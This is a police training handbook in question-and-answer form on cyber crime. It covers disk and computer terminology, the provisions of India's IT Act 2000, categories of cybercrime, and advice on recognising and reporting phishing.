Basic Course

on

Cyber Crimes

RBVRR TELANGANA STATE POLICE ACADEMY
Himayat Sagar, Hyderabad - 500 091
Tel : 040-24593380 - Fax: 040-24593201
e-mail: appa_hyd@yahoo.com

Foreword

The penetration of digital technology in day-to-day life is so encompassing, it may not be hyperbolic to aver that today a human-being requires four essentials to survive i.e. air, water, food and INTERNET. That being the unfathomable impact of digital technology in human life, it is being used and misused by people with deviant behavior to perpetrate fraud on the society with incalculable damage, outstripping the conventional modes of crimes.

Not only in the sphere of crime affecting individuals, digital technology is used increasingly to wage disguised forms of low-intensity war by forces inimical to our Country in the form of cyber-terrorism and economic terrorism. Hence a duty is cast on the Police not only to tackle the emerging forms of crime but also the challenges of Internal Security. Both these onerous responsibilities entail a police professional to be endowed with optimum knowledge of cybernetics.

Towards this objective, APPA commenced holding Basic Courses with focus on awareness of all elementary aspects of cyber crime. The handbook in the form of FAQs is intended to be a ready-reckoner in an easy-to-understand manner purveying all rudimentary aspects of cyber crime.

[N. Sambasiva Rao, IPS]
Director

Index

Basic Computer Terminology

Q.1. What is BIOS ?

Ans : BIOS stands for Basic Input Output System, which is information written in computer code and stored in the ROM so that it is available when the computer is turned on. BIOS information tells the computer how to read information contained on the computer's various drives, and includes the boot strap loader, which is the first code executed when the computer is turned on.

Q.2. What is bit?

Ans : This is an abbreviation for binary digit and is the smallest unit of computer data. A bit consists of either 0 or 1. Eight bits make up a byte.

Q.3. What is boot sector?

Ans : The very first sector on a hard drive. It contains the codes necessary for the computer to start up. It also contains the partition table, which describes how the hard drive is organized. Also called the Master Boot Record.

Q.4. What is boot strap loader?

Ans :The first code executed when the computer is turned on.

Q.5. What is byte?

Ans : This is an abbreviation for binary term. A byte is a measurement unit of computer data that consists of a single character. A single byte usually consists of 8 bits.

Q6. What is clusters?

Ans : Clusters are groups of sectors where folders and files are stored on the hard drive.

Q.7. What is cluster bitmaps

Ans : Used in NTFS to keep track of the status (free or used) of clusters on the hard drive.

Q.8. What is cylinder?

Ans : The set of tracks on both sides of each platter in the hard drive that are located at the same head position. A cylinder can be visualized as a cross section taken across all the platters of a hard drive at the same head position.

Q.9. What is drive geometry ?

Ans : A computer hard drive is made up of a number of rapidly rotating platters that have a set of read/write heads on both sides of each platter. Each platter is divided into a series of concentric rings called tracks. Each track is further divided into sections called sectors, and each sector is sub-divided into bytes. Drive geometry refers to the number and positions of each of these structures.

Q.10. What is disk partition ?

Ans : A hard drive containing a set of consecutive cylinders. Before files can stored on a disk partition it must be formatted to create a logical volume.

Q.11. What is driver ?

Ans : A driver is a computer program that controls various devices such as the keyboard, mouse, monitor, etc.

Q.12. What is extended partitions ?

Ans : If a computer hard drive has been divided into more than four partitions, extended partitions are created. Under such circumstances each extended partition contains a partition table in the first sector that describes how it is further subdivided.

Q.13. What is FAT ?

Ans : This stands for File Allocation Table. It is used in Windows® to keep track of where the files are stored on a hard drive, which is formatted as a FAT volume or file system.

Q.14. What is file slack ?

Ans : The unused space on a cluster that exists when the logical file space is less than the physical file space.

Q.15. What is file system ?

Ans : A disk partition organized so that files can be stored on it. In Windows®, a disk partition with a file system on it is called a volume. The most common types of file systems used by Windows® are FAT and NTFS.

Q. 16. What is fragmented ?

Ans : In the course of normal computer operations when files are saved, deleted, moved, etc. the files or parts thereof may be scattered in various locations on the computer's hard drive or other storage medium. In regard to computer forensics, fragmented data can frequently yeild important evidence. Computer forensics techniques allow technicians to locate and examine fragmented files.

Q.17. What is head ?

Ans : Each platter on a hard drive contains a head for each side of the platter. The heads are devices which ride very closely to the surface of the platter and allow information to be read from and written to the platter. The heads are physically attached to an arm, which is in turn attached to the head stack assembly. Usually all heads move together and are positioned together on the same track.

Q.18. What is inter-partition space ?

Ans : Unused sectors on a track located between the start of the partition and the partition boot record. This space is important because it is possible for a user to hide information here.

***

Information Technology ACT

Q.1. Why was the Information Technology Act enacted?

Ans: The Information Technology (IT) Act 2000 aims to provide a legal and regulatory framework for promotion of e-Commerce and e-Governance.

Q.2. When was the IT Act enacted?

Ans: The IT Act 2000 was enacted on 7th June 2000 and was notified in the official gazette on 17th October 2000 and an amendment was made in the year 2008.

Q.3. Where is the IT Act applicable?

Ans: The IT Act 2000 is applicable to the whole of India.

Q.4. What are the major provisions contained in the IT Act ?

- Extends to the whole of India
- Electronic contracts will be legally valid
- Legal recognition of digital signatures
- Digital signature to be effected by use of asymmetric crypto system and hash function
- Security procedure for electronic records and digital signature
- Appointment of Controller of Certifying Authorities to license and regulate the working of Certifying Authorities
- Controller to certify the public keys of the Certifying Authorities (CAs)
- Controller to act as repository of all digital signature certificates
- Certifying Authorities to get Licence from the Controller to issue digital signature certificates
- Various types of computer crimes defined and stringent penalties provided under the Act
- Appointment of Adjudicating Officer for holding inquiries under the Act
- Establishment of Cyber Regulatory Appellate Tribunal under the Act

- Appeal from order of Adjudicating Officer to Cyber Appellate Tribunal and not to any Civil Court
- Appeal from order of Cyber Appellate Tribunal to High Court
- Act to apply for offences or contraventions committed outside India
- Network service providers not to be liable in certain cases
- Power of police officers and other officers to enter into any public place and search and arrest without warrant
- Constitution of Cyber Regulations Advisory Committee to advise the Central Government and the Controller

Q.5. What does the IT Act enable?

Ans: The IT Act enables:

- Legal recognition of Electronic Transaction / Record
- Legal recognition of digital signature is at par with the handwritten signature
- Electronic Communication by means of reliable electronic record
- Acceptance of contract expressed by electronic means
    - e-Commerce and Electronic Data interchange
    - e-Governance
    - Electronic filing of documents
- Retention of documents in electronic form
- Uniformity of rules, regulations and standards regarding the authentication and integrity of electronic records or documents
    - Publication of official gazette in the electronic form
    - Interception of any message transmitted in the electronic or encrypted form
    - Prevention of Computer Crime, forged electronic records, international alteration of electronic records fraud, forgery or falsification in e-Commerce and electronic transaction

Q.6. What is authentication and how does IT Act 2000 authenticate the electronic records?

Ans: Section 3(2) of the IT Act 2000 provides that "The authentication of the electronic record shall be effected by the use of asymmetric

crypto system and hash function which envelop and transform the initial electronic record into another electronic record." Explanation.- For the purposes of this sub-section, "hash function" means an algorithm mapping or translation of one sequence of bits into another, generally smaller, set known as "hash result" such that an electronic record yields the same hash result every time the algorithm is executed with the same electronic record as its input making it computationally infeasible-

a. to derive or reconstruct the original electronic record from the hash result produced by the algorithm;
b. that two electronic records can produce the same hash result using the algorithm.

Q.7. Can use of electronic records or digital signature be valid in Government and its agencies?

Ans: Yes. Filing of forms, applications etc. in electronic form will be valid in Govt. and its agencies. Section 6(1) of the Act states that Where any law provides for-

a. the filing of any form. application or any other document with any office, authority, body or agency owned or controlled by the appropriate Government in a particular manner;
b. the issue or grant of any licence, permit, sanction or approval by whatever name called in a particular manner;
c. the receipt or payment of money in a particular manner, then, notwithstanding anything contained in any other law for the time being in force, such requirement shall be deemed to have been satisfied if such filing, issue, grant, receipt or payment, as the case may be, is effected by means of such electronic form as may be prescribed by the appropriate Government.

Q.8. Who can issue a digital signature certificate to a subscriber?

Ans: A Certifying Authority can issue a digital signature certificate to a subscriber. Section 35 of the Act and the Certifying Authorities Rules framed under the Act stipulate the methods for issuance of a digital signature certificate.

Q.9. Can a CA suspend the digital signature certificate issued by it?

Ans: Yes, if the CA gets a request from the subscriber or from an authorized person of the subscriber to suspend digital signature certificate. CA can also suspend the Digital Signature Certificate in public interest. [Ref : Section 37 of the Act].

Q.10. When can a digital signature certificate be revoked?

Ans: The conditions for revocation of digital signature certificates have been provided in Section 38 of the IT Act,2000 as follows :

- A Certifying Authority may revoke a Digital Signature Certificate issued by it-
  - where the subscriber or any other person authorised by him makes a request to that effect; or
  - upon the death of the subscriber, or
  - upon the dissolution of the firm or winding up of the company where the subscriber is a firm or a company.
- Subject to the provisions of sub-section (3) and without prejudice to the provisions of sub-section (1), a Certifying Authority may revoke a Digital Signature Certificate which has been issued by it at any time, if it is of opinion that-
  - a material fact represented in the Digital Signature Certificate is false or has been concealed;
  - a requirement for issuance of the Digital Signature Certificate was not satisfied;
  - the Certifying Authority's private key or security system was compromised in a manner materially affecting the Digital Signature Certificate's reliability;
  - the subscriber has been declared insolvent or dead or where a subscriber is a firm or a company, which has been dissolved, wound-up or otherwise ceased to exist
- A Digital Signature Certificate shall not be revoked unless the subscriber has been given an opportunity of being heard in the matter.

Q.11. How will the Certifying Authorities be appointed?

Ans: The Controller of Certifying Authorities (CCA) appointed u/s 17 of the IT Act issues licenses to Certifying Authorities and exercises supervision over their activities.

Q.12. Is there any restrictions on the number of applicants applying for a licence to become a CA?

Ans: No, there is no restriction on the number of applicants applying for a licence to become a CA.

Q.13. Can a digital signature certificate issued by foreign Certifying Authority be valid in India?

Ans:Yes. Controller of CA may give recognition to foreign certifying authorities and the digital signature certificate issued by them will be valid under Section 19 of the Act.

Q.14. What are the functions of Controller?

Ans: The IT Act has defined the functions of Controller u/s 18. These are as follows :

- exercising supervision over the activities of the Certifying Authorities;
- ifying public keys of the Certifying Authorities;
- laying down the standards to be maintained by the Certifying Authorities;
- specifying the qualifications and experience which employees of the Certifying Authorities should possess;
- specifying the conditions subject to which the Certifying Authorities shall conduct their business;
- specifying the contents of written, printed or visual materials and advertisements that may be distributed or used in respect of a Digital Signature Certificate and the public key;
- specifying the form and content of a Digital Signature Certificate and the key,
- specifying the form and manner in which accounts shall be maintained by the Certifying Authorities;

- specifying the terms and conditions subject to which auditors may be appointed and the remuneration to be paid to them;
- facilitating the establishment of any electronic system by a Certifying Authority either solely or jointly with other Certifying Authorities and regulation of such systems;
- specifying the manner in which the Certifying Authorities shall conduct their dealings with the subscribers;
- resolving any conflict of interests between the Certifying Authorities and the subscribers;
- laying down the duties of the Certifying Authorities;
- maintaining a data base containing the disclosure record of every Certifying Authority containing such particulars as may be specified by regulations, which shall be accessible to public.

Q.15. What are the civil offences under the IT Act 2000?

Ans: Section 43 of the IT Act describes the civil offences :

- Unauthorised copying, extracting and downloading of any data, database
- Unauthorised access to computer, computer system or computer network
- Introduction of virus
- Damage to computer System and Computer Network
- Disruption of Computer, computer network
- Denial of access to authorised person to computer
- Providing assistance to any person to facilitate unauthorised access to a computer
- Charging the service availed by a person to an account of another person by tampering and manipulation of other computer Section 44 of the IT Act provides for penalty on failure to furnish information, return etc. to the Controller by Certifying Authoritiës

Q.16. What are the criminal offences stipulated by IT Act 2000?

Ans: Chapter XI (Sections 65 to 75) of the IT Act describes the criminal offences along with punishments for them. These are as follows:

- Tampering with computer source documents
- Hacking with computer system
- Electronic forgery I.e. affixing of false digital signature, making false electronic record
- Electronic forgery for the purpose of cheating
- Electronic forgery for the purpose of harming reputation
- Using a forged electronic record
- Publication of digital signature certificate for fraudulent purpose
- Offences and contravention by companies
- Unauthorised access to protected system
- Confiscation of computer, network, etc.
- Publication of information which is obscene in electronic form
- Misrepresentation or suppressing of material facts for obtaining Digital Signature Certificates
- Breach of confidentiality and Privacy
- Publishing false Digital Signature Certificate

Q.17. Are network service providers liable for offences committed by third party?

Ans: No.

Section 79 of the Act states that :

For the removal of doubts, it is hereby declared that no person providing any service as a network service provider shall be liable under this Act, rules or regulations made thereunder for any third party information or data made available by him if he proves that the offence or contravention was committed without his knowledge or that he had exercised all due diligence to prevent the commission of such offence or contravention. Explanation.-For the purposes of this section, -

- "network service provider" means an intermediary;
- "third party information" means any information dealt with by a network service provider in his capacity as an intermediary"

Q.18. Who can apply for grant of licence to act as a Certifying Authority (CA)?

Ans: The following persons can apply to the Controller for grant of licence in the prescribed form :

- an individual, being a citizen of India and having a capital of five crores of rupees or more in his business or profession;
- a company having -
  - paid up capital of not less than five crores of rupees; and
  - net worth of not less than fifty crores of rupees
- a firm having -
  - capital subscribed by all partners of not less than five crores of rupees; and
  - net worth of not less than fifty crores of rupees
- Central Government or a State Government or any of the Ministries or Departments, Agencies or Authorities of such Governments The application can be made u/s 21

Q.19. What security measures, CAs have to adhere to?

Ans: IT Security Guidelines and Security Guidelines for Certifying Authorities have been detailed in Schedule II and III of the IT Rules notified October, 2000.

Q.20. What is the maximum penalty for the offences?

Ans: The penalties for damage to computer, computer system etc. have been fixed as damages by way of compensation not exceeding Rupees one crore (Rs. 1,00,00,000/-) to affected persons.

Q.21. What does damage to computer system mean ?

Ans: The damage to computer system is defined in section 43 is defined in Section 43 as: "If any person without permission of the owner or any other person who is incharge of a computer, computer system or computer network,

- accesses or secures access to such computer, computer system or computer network;

- downloads, copies or extracts any data, computer data base or information from such computer, computer system or computer network including information or data held or stored in any removable storage medium;
- introduces or causes to be introduced any computer contaminant or computer virus into any computer, computer system or computer network;
- damages or causes to be damaged any computer, computer system or computer network, data, computer data base or any other programmes residing in such computer, computer system or computer network;
- disrupts or causes disruption of any computer, computer system or computer network;
- denies or causes the denial of access to any person authorised to access any computer, computer system or computer network by any means;
- provides any assistance to any person to facilitate access to a computer, computer system or computer network in contravention of the provisions of this Act, rules or regulations made thereunder;
- charges the services availed of by a person to the account of another person by tampering with or manipulating any computer, computer system, or computer network"

Q.22. What are the duties of subscribers?

Ans: Chapter VIII of the Act defines the duties of the subscribers as :

- Generation of key pair
- Acceptance of Digital Signature Certificate which inturn certifies to all who reasonably rely on the information contained in the Digital Signature Certificate that-
  - the subscriber holds the private key corresponding to the public key listed in the Digital Signature Certificate and is entitled to hold the same;

- all representations made by the subscriber to the Certifying Authority and all material relevant to the information contained in the Digital Signature Certificate are true;
- all information in the Digital Signature Certificate that is within the knowledge of the subscriber is true.

- Control of private key
  - Every subscriber shall exercise reasonable care to retain control of the private key corresponding to the public key listed in his Digital Signature Certificate and take all steps to prevent its disclosure to a person not authorised to affix the digital signature of the subscriber.
  - If the private key corresponding to the public key listed in the Digital Signature Certificate has been compromised, then, the subscriber shall communicate the same without any delay to the Certifying Authority in such manner as may be specified by the regulations.

Q.23. Who is liable for in case a subscriber loses his private key?
Ans:The subscriber shall be liable for his digital signatures till he has informed the Certifying Authority that the private key has been compromised.

Q.24. How does IT Act deal with Hacking?
Ans: IT Act defines hacking as [Section 66] "Whoever with the intent to cause or knowing that he is likely to cause wrongful loss or damage to the public or any person destroys or deletes or alters any information residing in a computer resource or diminishes its value or utility or affects it injuriously by any means, commits hacking."
Further for the first time, punishment for hacking as a cyber crime is prescribed in the form of imprisonment upto 3 years or with fine that may extend to Rs 2,00,000/- or both. [Section 66]

Q.25. What is meant by Online Contracts?

Ans: E-commerce portals usually specify detailed transaction rules in accordance with which any specific transaction can be initiated, conducted and concluded. A contract concluded over the Internet involves:

- The dispatch and receipt of a proposal in an "electronic record" from one contracting party i.e., the proposer / offerer, to the other party, i.e., the acceptor, and
- The acceptance of the proposal in such electronic record, by the acceptor and the dispatch of such acceptance, in an electronic record by the acceptor to the proposer. Section 13 of the IT Act specifies the manner and time when dispatch and receipt of an electronic record occur. Dispatch of an electronic record occurs, "when it enters a computer resource outside the control of the originator", unless agreed to the contrary between the originator and the addressee.

Q.26. What is the evidentiary value of Online Contracts?

Ans: The IT Act provides for legal recognition and protection to electronic records and digital signatures. An electronic record is defined as "data, record or data generated, image or sound stored, received or sent in an electronic form or microfilm or computer generated micro fiche". The Indian Evidence Act deals with the manner of providing documents by requiring proof of documents through primary evidence. The IT Act provides evidentiary value to electronic records by introducing a new section 65B in the IEA which deems any information contained in an electronic record which is printed on a paper, stored, recorded or copied in optical or magnetic media, to be a "document" if certain conditions specified are met. In such cases, the information is deemed to be "admissible in any proceedings" without further proof or production of the original. Thus the electronic maintenance of records will lead to a whole scale reduction in costs in relation to record keeping as well as facilitate e-commerce

Q.27. In case of any contravention of the provisions of Act, who will adjudicate?

Ans: The Section 46 of the IT Act,2000 provides for appointment of an Adjudicating Officer who will be an officer not below the rank of a Director to the Government of India or an equivalent officer of state government The Adjudicating Officer shall adjudicate on specific cases in accordance with the provisions of Sections 43 to 47 of the Act. The Adjudicating Officer has been given the powers of a Civil Court.

Q.28. How are the criminal offences dealt with under the Act?

Ans: For criminal offences described under Chapter XI of the Act, the power to investigate has been given to a police officer not below the rank of a Deputy Superintendent of Police. Thereafter it will be tried in regular court.

Q.29. In case of dispute, where can an appeal be made?

Ans: The Act provides for establishment of one or more Cyber Regulations Appellate Tribunal (Chapter X of the Act). The Cyber Regulations Appellate Tribunal shall be an appellate body where appeals against the orders of the CCA and of the Adjudicating Officers shall be preferred. The Tribunal shall not be bound by the principles of the Code of Civil Procedure but shall follow the principles of natural justice and shall have the same powers as those vested in a Civil Court. Against an order or decision of the Cyber Appellate Tribunal, an appeal shall lie to the High Court.

Q.30. Does IT Act suggest changes/modifications in other prevailing Acts?

Ans: Yes. The following Acts need to be modified

- Indian Evidence Act, 1872
    - Section - 3, 17, 22, 34, 35, 39, 47, 59, 65, 67, 73, 81, 85, 88, 90, 131
- Indian Penal Code, 1860
    - Section - 29, 167, 172, 173, 175, 192, 204, 463, 464, 466, 468, 469, 470, 471, 474, 476, 477A

- Banker's Book Evidence Act, 1891
    - Section - 2
- Reserve Bank of India Act, 1934
    - Section 58 (Sub section (2) clause (p) - To enable RBI to formulate rules to provide for Electronic Fund Transfer

Q.31. Is there any advisory committee for helping frame Rules and Regulations under the Act?

Ans: Section-88 provides for constitution of the Cyber Regulation Advisory Committee to advise :

(3)(a) The Central Government either generally as regards any rules or for any other purpose connected with the Act;

(3)(b) The Controller in framing the regulations under the Act.

Q.32. Can Controller of Certifying Authorities direct any Law Enforcement Agency to intercept any information transmitted through any computer resources?

Ans: Yes. section 69 of the IT Act 2000 empowers the Controller do so:

- If Controller is satisfied that it is necessary or expedient so to do in the interest of the sovereignty or integrity of India, the security of the State, friendly relations with foreign States or public order or for preventing incitement to the commission of any cognizable offence, for reasons to recorded in writing, by order, direct any agency of the Government to intercept any information transmitted through any computer resource.
- The subscriber or any person in charge of the computer resource shall, when called upon by any agency, which has been directed under sub-section (1), extend all facilities and technical assistance to decrypt the information.
- The subscriber or any person who fails to assist the agency referred to in sub-section (2) shall be punished with an imprisonment for term which may extend to seven years.

Q.33. What is the key size prescribed by the IT Act for the CAs?

Ans: The Regulations specify that the CAs will use a key of length (in RSA algorithm)2048 bits. The CA being certified by the CCA should also have a key length of 2048 bits. The users will use a key length of 1024 bits (in RSA algorithm).

Q.34. What is the frequency of the change of the key pairs?

Ans: The CA's key pairs shall be changed every three to five years (except during exigencies as in the case of key compromise when the key shall be changed immediately). The Certifying Authority shall take appropriate steps to ensure that key changeover procedures as mentioned in the approved Certificate Practice Statements are adhered. The subscriber's keys pairs shall be changed every one to two years.

Q.35. How is the end user protected in case of cessation of Certifying Authority?

Ans: Rule 21 provided for reasonable protection of subscribers against cessation of operation of a CA. Rule 21 Requirements Prior to Cessation as Certifying Authority.- Before ceasing to act as a Certifying Authority, a Certifying Authority shall, -

- give notice to the Controller of its intention to cease acting as a Certifying Authority: Provided that the notice shall be made ninety days before ceasing to act as a Certifying Authority or ninety days before the date of expiry of licence;
- advertise sixty days before the expiry of licence or ceasing to act as Certifying Authority, as the case may be, the intention in such daily newspaper or newspapers and in such manner as the Controller may determine;
- notify its intention to cease acting as a Certifying Authority to the subscriber and Cross Certifying Authority of each unrevoked or unexpired Digital Signature Certificate issued by it : Provided that the notice shall be given sixty days before ceasing to act as a Certifying Authority or sixty days before the date of expiry of

unrevoked or unexpired Digital Signature Certificate, as the case may be;

- the notice shall be sent to the Controller, affected subscribers and Cross Certifying Authorities by digitally signed e-mail and registered post;
- revoke all Digital Signature Certificates that remain unrevoked or unexpired at the end of the ninety days notice period, whether or not the subscribers have requested revocation;
- make a reasonable effort to ensure that discontinuing its certification services causes minimal disruption to its subscribers and to persons duly needing to verify digital signatures by reference to the public keys contained in outstanding Digital Signature Certificates;
- make reasonable arrangements for preserving the records for a period of seven years;
- pay reasonable restitution (not exceeding the cost involved in obtaining the new Digital Signature Certificate) to subscribers for revoking the Digital Signature Certificates before the date of expiry;
- after the date of expiry mentioned in the licence, the Certifying Authority shall destroy the certificate-signing private key and confirm the date and time of destruction of the private key to the Controller.

Q.36. Are there any standards prescribed in the IT Act 2000?

Ans: Yes standards are prescribed in the Rules framed under the IT Act.

Q.37. What are the standards prescribed in the IT Act ?

Ans: Public-key Cryptography Standards (PKCS)

- " PKCS#1 - PKCS#12

Federal Information Processing Standards (FIPS)

- FIPS 180-1, Secure Hash Standard (SHA)
- FIPS 186-1, Digital Signature Standard (DSS)
- FIPS 140-1 level 3 and 4, Security Requirement for Cryptographic Modules; Elliptic Curve (EC) systems Public-key cryptography

based on the emerging Institute of Electrical and Electronics Engineers (IEEE) standard P1363 for three families:

- Discrete Logarithm (DL) systems
- Elliptic Curve Discrete Logarithm (EC) systems
- Integer Factorization (IF) systems;
- RSA encryption RSA, Rabin-Williams signatures; Directory Services (LDAP ver. 3)
- X.500 for publication of Public Key Certificates and Certificate Revocation Lists
- X.509 version 3 Certificates as specified in ITU RFC 1422
- X.509 version 2 Certificate Revocation Lists;
-

Q.38. When was the Controller of Certifying Authorities (CCA) appointed?

Ans: Controller of Certifying Authorities was appointed on November 2000.

***

Q.1. What is Cybercrime?

Ans : When Internet was developed, the founding fathers of Internet hardly had any inclination that Internet could also be misused for criminal activities. Today, there are many disturbing things happening in cyberspace. Cybercrime refers to all the activities done with criminal intent in cyberspace. These could be either the criminal activities in the conventional sense or could be activities, newly evolved with the growth of the new medium. Because of the anonymous nature of the Internet, it is possible to engage into a variety of criminal activities with impunity and people with intelligence, have been grossly misusing this aspect of the Internet to perpetuate criminal activities in cyberspace. The field of Cybercrime is just emerging and new forms of criminal activities in cyberspace are coming to the forefront with the passing of each new day.

Q.2. Do we have any one exhaustive definition of Cybercrime ?

Ans : There can be no one exhaustive definition about Cybercrime. However, any activities which basically offend human sensibilities can also be included in its ambit. Child Pornography on the Internet constitutes one serious Cybercrime. Similarly, online paedophiles, using internet to induce minor children into sex, are as much Cybercriminals as any others.

Q.3. What are the various categories of Cybercrimes ?

Ans : Cybercrimes can be basically divided into 3 major categories being Cybercrimes against persons, property and Government.

Q.4. Tell us more information about Cybercrimes against persons ?

Ans: Cybercrimes committed against persons include various crimes like transmission of child-pornography, harassment of any one with the use of a computer such as e-mail, and cyber-stalking.

The trafficking, distribution, posting, and dissemination of obscene material including pornography, indecent exposure, and child

pornography, constitutes one of the most important Cybercrimes known today. The potential harm of such a crime to humanity can hardly be overstated. This is one Cybercrime which threatens to undermine the growth of the younger generation as also leave irreparable scars and injury on the younger generation, if not controlled.

Q.5. Is Cyber harassment also a Cybercrime?

Ans : Cyber harassment is a distinct Cybercrime. Various kinds of harassment can and does occur in cyberspace, or through the use of cyberspace. Harassment can be sexual, racial, religious, or other. Persons perpetuating such harassment are also guilty of cybercrimes. Cyber harassment as a crime also brings us to another related area of violation of privacy of netizens. Violation of privacy of online citizens is a Cybercrime of a grave nature. No one likes any other person invading the precious and extremely touchy area of his or her own privacy which the medium of Internet grants to the netizen.

Q.6. What are Cybercrimes against property ?

Ans : The second category of Cybercrimes is that of Cybercrimes against all forms of property. These crimes include unauthorized computer trespassing through cyberspace, computer vandalism, transmission of harmful programs, and unauthorized possession of computerized information.

Q.7. Is hacking a Cybercrime ?

Ans : Hacking and cracking are amongst the gravest Cybercrimes known till date. It is a dreadful feeling to know that a stranger has broken into your computer systems without your knowledge and consent and has tampered with precious confidential data and information. Coupled with this , the actuality is that no computer system in the world is hacking proof. It is unanimously agreed that any and every system in the world can be hacked. The recent denial of service attacks seen over the popular commercial sites like E-bay, Yahoo, Amazon and others are a new category of Cybercrimes which are slowly emerging as

being extremely dangerous. Using one's own programming abilities as also various programmes with malicious intent to gain unauthorized access to a computer or network are very serious crimes. Similarly, the creation and dissemination of harmful computer programs or virii which do irreparable damage to computer systems is another kind of Cybercrime. Software piracy is also another distinct kind of Cybercrime which is perpetuated by many people online who distribute illegal and unauthorised pirated copies of software.

Q.8. What is Cybercrime against Government?

Ans : The third category of Cybercrimes relate to Cybercrimes against Government. Cyber Terrorism is one distinct kind of crime in this category. The growth of Internet has shown that the medium of Cyberspace is being used by individuals and groups to threaten the international governments as also to terrorise the citizens of a country. This crime manifests itself into terrorism when an individual &"cracks&" into a government or military maintained website.

Q.9. Is there any comprehensive law on Cybercrime today?

Ans : Since Cybercrime is a newly specialised field, growing in Cyberlaws, a lot of development has to take place in terms of putting into place the relevant legal mechanism for controlling and preventing Cybercrime. As of now, there is absolutely no comprehensive law on Cybercrime anywhere in the world. This is reason that the investigating agencies like FBI are finding the Cyberspace to be an extremely difficult terrain. These various Cybercrimes fall into that grey area of Internet law which is neither fully nor partially covered by the existing laws and that too in some countries.

Q.10. Is there any recent case which demonstrates the importance of having Cyberlaw on Cybercrime within the national jurisdictions of countries ?

Ans : The most recent case of the virus "I love you" demonstrates the need for having cyberlaws concerning Cybercrimes in different national jurisdictions. At the time of the web publication of this feature,

Reuters has reported that "The Philippines has yet to arrest the suspected creator of the 'Love Bug' computer virus because it lacks laws that deal with computer crime, a senior police officer said". The fact of the matter is that there are no laws relating to Cybercrime in the Philippines. The National Bureau of Investigation is finding it difficult to legally arrest the suspect behind the 'Love Bug' computer virus. As such, the need for countries to legislate Cyberlaws relating to Cybercrime arises on an urgent priority basis.

Q.11. What is the approach adopted by US Courts regarding Cybercrimes?

Ans : The courts in United States of America have already begun taking cognizance of various kinds of fraud and Cybercrimes being perpetuated in Cyberspace. For the victims of various Cybercrimes, there is no one healing remedy. They can either file for civil damages or wait for the culprits to be nabbed and then to be tried under provisions, existing or envisaged which are not comprehensive at all. However, a lot of work has to be done in this field. Just as human mind is ingenious enough to devise new ways for perpetuating crime, similarly, human ingenuity needs to be channelised into developing effective legal and regulatory mechanisms to control and prevent Cybercrimes.

Q.12. Why do we need to fight Cybercrime?

Ans : We all must remember that Cyberspace is a common heritage of ours which we have inherited in our life times from the benefits of ever growing technologies. This Cyberspace is the lifeline of the entire universe and given its irreversible position today, it is the duty of every netizen to contribute toward making the said cyberspace free of any trouble or cybercrime. To rephrase the famous words of Rabindra Nath Tagore in today's context, "Where the Cyberspace is without fear or crime and the head is held high, where knowledge is free, where tireless striving stretches its arms towards perfection, ... into that cyber heaven of freedom, O my father, let our humanity awake."

***

Q.1. What is phishing?

Ans : Phishing (pronounced "fishing") is a type of online identity theft. It uses email and fraudulent websites that are designed to steal your personal data or information such as credit card numbers, passwords, account data, or other information.

Con artists might send millions of fraudulent email messages with links to fraudulent websites that appear to come from websites you trust, like your bank or credit card company, and request that you provide personal information. Criminals can use this information for many different types of fraud, such as to steal money from your account, to open new accounts in your name, or to obtain official documents using your identity.

Q.2. What should I do if I receive an email phishing scam?

Ans : If you think you've received a phishing scam, delete the email message. Do not click any links in the message.

Q.3. How do I report a possible phishing scam?

Ans : You can also use Microsoft tools to report a suspected phishing scam.

- **Internet Explorer.** While you are on a suspicious site, click the gear icon and then point to **Safety**. Then click **Report Unsafe Website** and use the web page that is displayed to report the website.
- **Windows Live Hotmail.** If you receive a suspicious email that asks for personal information, click the check box next to the message in your Hotmail inbox. Click **Mark as** and then point to **Phishing scam**.
- **Microsoft Office Outlook.** Attach the suspicious email message to a new email message and forward it to reportphishing@antiphishing.org.

Q.4. What should I do if I think I've responded to a phishing scam?

Ans : Take these steps to minimize any damage if you suspect that you've responded to a phishing scam with personal or financial information or entered this information into a fake website.

- Change the passwords or PINs on all your online accounts that you think could be compromised.
- Place a fraud alert on your credit reports. Check with your bank or financial advisor if you're not sure how to do this.
- Contact the bank or the online merchant directly. Do not follow the link in the fraudulent email.
- If you know of any accounts that were accessed or opened fraudulently, close those accounts.
- Routinely review your bank and credit card statements monthly for unexplained charges or inquiries that you didn't initiate.

Q.5. How do scammers get my email address or know which bank I use?

Ans : Criminals who send out phishing scams (often called "phishers") send out millions of messages to randomly generated email addresses. They fake or "spoof" popular companies in order to fool the largest number of people.

Recognize phishing scams

Q.6. Can an email message that contains a company's official logo be a phishing scam?

Ans : Yes. Phishing scams often use the official logos of the companies they're trying to spoof. If you think an email message is a phishing scam, delete it, or type the web addresses directly into your browser, or use your personal bookmarks.

Q.7. Can I tell if an email message is a phishing scam just by reading it?

Ans : Not necessarily. Phishing email messages often include official-looking logos from real organizations and other identifying information

taken directly from legitimate websites. They might also contain phrases like:

- "Verify your account."
- "Update your account."
- "During regular account maintenance..."
- "Failure to update your records will result in account suspension."

Q.8. I received an email message (although it was not sent to my correct email address) that requests banking information. Is that a phishing scam?

Ans : Any email message that requests banking information is probably a phishing scam. Most legitimate banks will not request this information by email.

If you receive a message to an email address that is not the one you use to log in to your bank account, this is probably a phishing scam.

Q.9. I received an email message telling me I'd won the Microsoft Lottery. Is this a phishing scam?

Ans : Yes, this is a type of phishing scam known as "advance fee fraud."

Prevent ID theft from phishing scams

Q.10. What can I do to help prevent identity theft from phishing scams?

Ans : You can do the following to help protect yourself from phishing scams:

- Don't click links in email messages.
- Type addresses directly into your browser or use your personal bookmarks.
- Check the site's security certificate before you enter personal or financial information into a website.
- Don't enter personal or financial information into pop-up windows.
- Keep your computer software current with the latest security updates.

Q.11. What does it mean when a website is flagged yellow and "suspicious"?

Ans : A suspicious website has some of the typical characteristics of phishing websites, but it is not on the list of reported phishing websites. The website might be legitimate, but you should be cautious about entering any personal or financial information unless you are certain that the site is trustworthy.

Q.12. What does it mean when a website is blocked and flagged in red as a reported phishing website?

Ans : A reported phishing website has been confirmed by reputable sources as fraudulent and has been reported to Microsoft. We recommend that you do not give any information to such websites.

Q.13. What are some password basics?

Ans : Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password. When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.

